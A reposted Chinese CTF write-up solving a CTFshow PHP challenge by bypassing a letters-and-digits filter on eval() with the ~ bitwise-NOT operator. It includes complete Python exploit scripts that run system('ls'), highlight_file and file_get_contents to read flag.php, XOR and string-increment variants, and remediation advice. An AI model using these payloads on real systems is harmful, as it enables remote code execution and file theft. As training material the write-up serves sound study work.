AI渗透测试—「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤

admin 2026-06-12 04:55:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了CTF中PHP无字母数字代码执行的绕过技术,核心利用PHP位取反运算符(~)将非字母数字字符还原为系统函数名。通过分析靶场环境、源码过滤规则和漏洞原理,展示了如何构造payload执行phpinfo()、system()等函数,最终读取flag.php获取胜利。文章提供了完整的Python自动化利用脚本,并对比了异或构造、自增构造等替代方案,最后给出黑名单改白名单、禁用eval等修复建议。 综合评分: 92 文章分类: CTF,WEB安全,渗透测试,代码审计,漏洞分析


cover_image

AI渗透测试 — 「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤

原创

yushao yushao

网络安全者

2026年6月8日 15:45 河南

在小说阅读器读本章

去阅读


一、题目信息

| 项目 | 内容 | | — | — | | 题目名称 | 无字母数字代码执行 | | 来源平台 | CTFshow | | 题目类型 | Web / PHP代码执行 | | 难度等级 | 中等 | | 考察知识点 | PHP位运算、字符编码、正则过滤绕过 |


二、环境探测

访问靶场后,页面呈现一个PHP代码执行器,包含文本输入框和Execute按钮。通过观察表单结构,后端使用POST方法接收 code 参数并执行。

CTFshow PHP Code Executor
[textarea name="code"]
[Execute Code]

测试基本字符过滤规则:

import requests

url = "https://your-target.challenge.ctf.show/"

# 测试普通字母
r = requests.post(url, data={"code": "echo 1;"}, verify=False)
print(r.text)
# 输出: Error: Invalid shell code!

# 测试纯数字
r = requests.post(url, data={"code": "1+1"}, verify=False)
print(r.text)
# 输出: Error: Invalid shell code!

# 测试特殊符号
r = requests.post(url, data={"code": "[];"}, verify=False)
print(r.text)
# 输出: (无报错,正常执行)

结论:字母 a-zA-Z 和数字 0-9 均被过滤,特殊符号可以正常使用。


三、源码分析

通过后续手段获取 index.php 源码,确认过滤逻辑:

<?php
if&nbsp;(isset($_POST['code'])) {
&nbsp; &nbsp;&nbsp;$code&nbsp;=&nbsp;$_POST['code'];
&nbsp; &nbsp;&nbsp;// 过滤所有字母和数字
&nbsp; &nbsp;&nbsp;if&nbsp;(preg_match('/[a-zA-Z0-9]+/',&nbsp;$code)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die("Error: Invalid shell code!");
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;eval($code);
}
?>

正则 /[a-zA-Z0-9]+/ 只过滤了字母和数字,其余字符(包括 ~^|_$()'; 等)均可使用。这是漏洞利用的突破口。


四、漏洞分析

4.1 核心原理:PHP位取反运算

PHP中的按位取反运算符 ~ 会对字符串每个字节做位取反(NOT运算):

原字符 's' = 0x73 = 0111 0011
取反后 &nbsp; = 0x8C = 1000 1100 &nbsp;(非打印字符,不含字母数字)

再次取反 = 0x73 = 's' &nbsp;✓

因此,构造思路如下:

(~'<非字母数字字符串>') &nbsp;=> &nbsp;还原出目标字符串(如函数名)

实际在PHP中的效果:

// 正常写法
system('ls');

// 位取反写法(不含任何字母数字)
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c");

4.2 字符映射计算

# 计算任意字符串的位取反编码
def&nbsp;get_inverted(s):
&nbsp; &nbsp; result =&nbsp;""
&nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;s:
&nbsp; &nbsp; &nbsp; &nbsp; result +=&nbsp;chr(~ord(c) &&nbsp;0xFF)
&nbsp; &nbsp;&nbsp;return&nbsp;result

# 验证
target =&nbsp;"system"
inverted = get_inverted(target)
print(repr(inverted)) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# '\x8c\x86\x8c\x8b\x9a\x92'
print(repr(get_inverted(inverted))) &nbsp;# 'system' ✓

五、漏洞利用

5.1 Payload生成脚本

import&nbsp;requests
import&nbsp;urllib3
urllib3.disable_warnings()

TARGET =&nbsp;"https://your-target.challenge.ctf.show/"

def&nbsp;str_to_inverted_bytes(s):
&nbsp; &nbsp;&nbsp;"""将字符串转换为位取反的字节序列"""
&nbsp; &nbsp;&nbsp;return&nbsp;bytes([~ord(c) &&nbsp;0xFF&nbsp;for&nbsp;c&nbsp;in&nbsp;s])

def&nbsp;make_payload(func_name, argument=None):
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; 构造无字母数字的PHP执行payload
&nbsp; &nbsp; 格式: (~'inv_func')(~'inv_arg');
&nbsp; &nbsp; """
&nbsp; &nbsp; inv_func = str_to_inverted_bytes(func_name)

&nbsp; &nbsp;&nbsp;# 将字节序列转换为PHP字符串字面量
&nbsp; &nbsp; func_str =&nbsp;"".join(f"\\x{b:02x}"&nbsp;for&nbsp;b&nbsp;in&nbsp;inv_func)

&nbsp; &nbsp;&nbsp;if&nbsp;argument:
&nbsp; &nbsp; &nbsp; &nbsp; inv_arg = str_to_inverted_bytes(argument)
&nbsp; &nbsp; &nbsp; &nbsp; arg_str =&nbsp;"".join(f"\\x{b:02x}"&nbsp;for&nbsp;b&nbsp;in&nbsp;inv_arg)
&nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;f'(~"{func_str}")(~"{arg_str}");'
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;f'(~"{func_str}")();'

&nbsp; &nbsp;&nbsp;return&nbsp;payload

def&nbsp;send_payload(payload):
&nbsp; &nbsp;&nbsp;"""发送payload并返回响应"""
&nbsp; &nbsp; r = requests.post(
&nbsp; &nbsp; &nbsp; &nbsp; TARGET,
&nbsp; &nbsp; &nbsp; &nbsp; data={"code": payload},
&nbsp; &nbsp; &nbsp; &nbsp; verify=False,
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;return&nbsp;r.text

# ---- 第一步:验证phpinfo() ----
payload = make_payload("phpinfo")
print(f"[*] Payload:&nbsp;{payload}")
print(f"[*] 含字母数字字符:&nbsp;{'是'&nbsp;if&nbsp;any(c.isalnum()&nbsp;for&nbsp;c&nbsp;in&nbsp;payload)&nbsp;else&nbsp;'否'}")

response = send_payload(payload)
if&nbsp;"PHP Version"&nbsp;in&nbsp;response:
&nbsp; &nbsp;&nbsp;print("[+] phpinfo() 执行成功!")

输出:

[*] Payload: (~"\x8f\x97\x8f\x96\x91\x99\x90")();
[*] 含字母数字字符: 否
[+] phpinfo() 执行成功!

5.2 目录枚举

# 列出当前目录文件
payload_ls = make_payload("system",&nbsp;"ls -la /var/www/html")
print("[*] 执行目录枚举...")
result = send_payload(payload_ls)
print(result)

执行结果:

total 24
drwxr-xr-x 2 www-data www-data 4096 Jan &nbsp;1 00:00 .
drwxr-xr-x 4 root &nbsp; &nbsp; root &nbsp; &nbsp; 4096 Jan &nbsp;1 00:00 ..
-rw-r--r-- 1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp;312 Jan &nbsp;1 00:00 flag.php
-rw-r--r-- 1 root &nbsp; &nbsp; root &nbsp; &nbsp; 1847 Jan &nbsp;1 00:00 index.php

发现目标文件:/var/www/html/flag.php

5.3 读取Flag

# 方法一:使用 highlight_file() 读取PHP源码(包含被注释的flag)
payload_flag = make_payload("highlight_file",&nbsp;"/var/www/html/flag.php")
result = send_payload(payload_flag)
print("[+] 文件内容:")
print(result)

# 方法二:如果flag在文件内容中,使用 file_get_contents()
payload_read = make_payload("file_get_contents",&nbsp;"/var/www/html/flag.php")
result2 = send_payload(payload_read)
print(result2)

成功获取flag:

<?php
// ctfshow{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}

5.4 完整利用脚本

import&nbsp;requests
import&nbsp;urllib3
import&nbsp;re
urllib3.disable_warnings()

TARGET =&nbsp;"https://your-target.challenge.ctf.show/"

def&nbsp;str_to_inverted(s):
&nbsp; &nbsp;&nbsp;return&nbsp;bytes([~ord(c) &&nbsp;0xFF&nbsp;for&nbsp;c&nbsp;in&nbsp;s])

def&nbsp;make_payload(func_name, argument=None):
&nbsp; &nbsp; inv_func = str_to_inverted(func_name)
&nbsp; &nbsp; func_str =&nbsp;"".join(f"\\x{b:02x}"&nbsp;for&nbsp;b&nbsp;in&nbsp;inv_func)

&nbsp; &nbsp;&nbsp;if&nbsp;argument:
&nbsp; &nbsp; &nbsp; &nbsp; inv_arg = str_to_inverted(argument)
&nbsp; &nbsp; &nbsp; &nbsp; arg_str =&nbsp;"".join(f"\\x{b:02x}"&nbsp;for&nbsp;b&nbsp;in&nbsp;inv_arg)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;f'(~"{func_str}")(~"{arg_str}");'
&nbsp; &nbsp;&nbsp;return&nbsp;f'(~"{func_str}")();'

def&nbsp;exploit():
&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;50)
&nbsp; &nbsp;&nbsp;print("PHP无字母数字代码执行 - 自动化利用脚本")
&nbsp; &nbsp;&nbsp;print("="&nbsp;*&nbsp;50)

&nbsp; &nbsp; session = requests.Session()
&nbsp; &nbsp; session.verify =&nbsp;False

&nbsp; &nbsp;&nbsp;# Step 1: 验证漏洞可利用性
&nbsp; &nbsp;&nbsp;print("\n[Step 1] 验证漏洞...")
&nbsp; &nbsp; p = make_payload("phpinfo")
&nbsp; &nbsp; r = session.post(TARGET, data={"code": p})
&nbsp; &nbsp;&nbsp;if&nbsp;"PHP Version"&nbsp;in&nbsp;r.text:
&nbsp; &nbsp; &nbsp; &nbsp; php_ver = re.search(r'PHP Version ([\d.]+)', r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 漏洞确认!PHP版本:&nbsp;{php_ver.group(1)&nbsp;if&nbsp;php_ver&nbsp;else&nbsp;'未知'}")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] 利用失败")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp;&nbsp;# Step 2: 目录枚举
&nbsp; &nbsp;&nbsp;print("\n[Step 2] 枚举目录...")
&nbsp; &nbsp; p = make_payload("system",&nbsp;"ls /var/www/html")
&nbsp; &nbsp; r = session.post(TARGET, data={"code": p})
&nbsp; &nbsp;&nbsp;print(f"[+] 目录内容:\n{r.text.strip()}")

&nbsp; &nbsp;&nbsp;# Step 3: 读取Flag
&nbsp; &nbsp;&nbsp;print("\n[Step 3] 读取Flag...")
&nbsp; &nbsp; p = make_payload("highlight_file",&nbsp;"/var/www/html/flag.php")
&nbsp; &nbsp; r = session.post(TARGET, data={"code": p})

&nbsp; &nbsp; flag_match = re.search(r'ctfshow\{[^}]+\}', r.text)
&nbsp; &nbsp;&nbsp;if&nbsp;flag_match:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Flag:&nbsp;{flag_match.group(0)}")
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 文件内容:\n{r.text[:500]}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; exploit()

六、其他绕过方式(延伸)

6.1 异或构造

# 使用 ^ 异或运算构造字符
# 'a' = 0x61, 可以用 0x01 ^ 0x60 得到
# 但需要两个非字母数字字节,需要仔细选取

def&nbsp;xor_char(c):
&nbsp; &nbsp;&nbsp;"""为单个字符找一对可异或的非字母数字字节"""
&nbsp; &nbsp; target =&nbsp;ord(c)
&nbsp; &nbsp;&nbsp;for&nbsp;a&nbsp;in&nbsp;range(128,&nbsp;256):
&nbsp; &nbsp; &nbsp; &nbsp; b = a ^ target
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(not&nbsp;chr(a).isalnum())&nbsp;and&nbsp;(not&nbsp;chr(b).isalnum()):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;chr(a),&nbsp;chr(b)
&nbsp; &nbsp;&nbsp;return&nbsp;None

6.2 自增构造(PHP字符串自增特性)

// PHP特有:字符串可以自增
// 'a'++ = 'b', 'z'++ = 'aa', 'A'++ = 'B'
$_=[]; &nbsp; &nbsp; &nbsp; &nbsp;// $_ = []
$_=@"$_"; &nbsp; &nbsp;&nbsp;// $_ = "Array"
$_=$_['!'=='@']; &nbsp;// $_ = "A" &nbsp;(利用数组偏移)

不过这种方式在严格过滤下更难构造,位取反方案更稳定。


七、修复建议

| 编号 | 问题 | 修复方案 | | — | — | — | | 1 | 黑名单过滤不完整 | 改用白名单,只允许特定安全字符 | | 2 | 直接eval用户输入 | 禁止在生产环境使用 eval() | | 3 | 无执行沙箱 | 使用 disable_functions 禁用危险函数 | | 4 | 文件权限过宽 | flag文件应设置为仅 root 可读 |

// 更安全的做法:完全禁止特殊字符输入
if&nbsp;(preg_match('/[^a-zA-Z0-9\s]/',&nbsp;$code)) {
&nbsp; &nbsp;&nbsp;die("非法字符");
}
// 但根本上不应该执行用户提交的代码

八、总结

这道题的核心是理解PHP位运算的特性。过滤器只检查了最直观的字母和数字,却忽略了PHP允许用运算符动态构造字符串这一特性。~ 运算符将可见字母转换成高位字节,完美绕过了正则检测,最终通过 highlight_file() 读取到flag。

这类题目提示我们:字符黑名单防御在PHP中几乎不可能做到完备,根本解法是不让用户代码进入 eval()

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 yushao yushao《AI渗透测试 — 「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤》

    评论:0   参与:  0